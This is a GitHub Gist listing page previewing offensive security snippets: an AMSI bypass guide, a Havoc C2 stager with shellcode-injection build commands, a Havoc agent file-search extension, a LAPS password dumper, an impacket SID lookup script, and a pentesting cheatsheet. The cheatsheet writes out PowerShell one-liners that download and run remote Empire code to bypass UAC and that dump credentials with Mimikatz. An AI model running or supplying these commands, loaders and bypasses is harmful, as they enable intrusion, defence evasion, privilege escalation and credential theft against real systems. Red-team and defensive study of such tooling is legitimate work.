Skip to content

Instantly share code, notes, and snippets.

@D3Ext
D3Ext / amsi-bypass.md
Last active June 25, 2025 02:06
All methods to bypass AMSI (2022)

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

@p4p1
p4p1 / stager.c
Created August 2, 2023 16:33
💊💊💊💊
/*
** p4p1: http://p4p1.github.io/
** Created on: Wed 02 Aug 2023 01:37:50 PM CEST
** stager.c
** Description:
** A C stager for havoc.
** Commands for things:
** ./Shhhloader.py -p explorer.exe -ns -sc SysWhispers3 -m QueueUserAPC ../demon.x64.bin
** ./Shhhloader.py -v -p explorer.exe -ns -sc SysWhispers3 -m QueueUserAPC ../demon.x64.bin
** x86_64-w64-mingw32-gcc net_stager.c -o hidden2.exe -lws2_32
@p4p1
p4p1 / auto_suite.py
Last active May 10, 2025 08:51
🔎🔎🔎🔎
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Made by papi
# Created on: Di 10 Okt 2023 01:54:42 CEST
# auto_suite.py
# Description:
# A havoc extention to search for files inside of infected agents
# Usage:
# To use this script save it on your machine and add it to the script manager of Havoc
# inside of: Scripts > Scripts Manager > Load Script
@moscowchill
moscowchill / pentesting_cheatsheet.ps1
Last active April 13, 2026 16:19
Intern Pentesting notes
[+] Collection of PowerShell and CMD one-liners for red teamers and penetration testers to use at various stages of testing.
# ========================================
# POWERSHELL LOADERS (Run from CMD)
# ========================================
#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
#Invoke-Mimikatz: Dump credentials from memory
@jgoosey
jgoosey / laps.py
Last active April 12, 2024 15:06 — forked from jstnkndy/laps.py
Modified version of https://github.com/n00py/LAPSDumper and https://gist.github.com/jstnkndy/51fc44d95e4f8f5efb1b76a9d6cf920a to allow cross domain targeting + expiration time
#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
from datetime import datetime
import argparse
parser = argparse.ArgumentParser(description='Dump LAPS Passwords')
parser.add_argument('-u','--username', help='username for LDAP', required=True)
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True)
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)
@ThePirateWhoSmellsOfSunflowers
ThePirateWhoSmellsOfSunflowers / lsarlookupsids3_aes.py
Created February 6, 2025 22:16
Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3) (AES version)
from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc
from impacket.uuid import bin_to_uuidtup
from binascii import unhexlify
from random import randbytes
import sys
# Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
# Pure TCP RPC is used (ncacn_ip_tcp option)
# AES is used, so you need impacket #1848 (https://github.com/fortra/impacket/pull/1848)
# Tested with impacket 0.12.0 on GOAD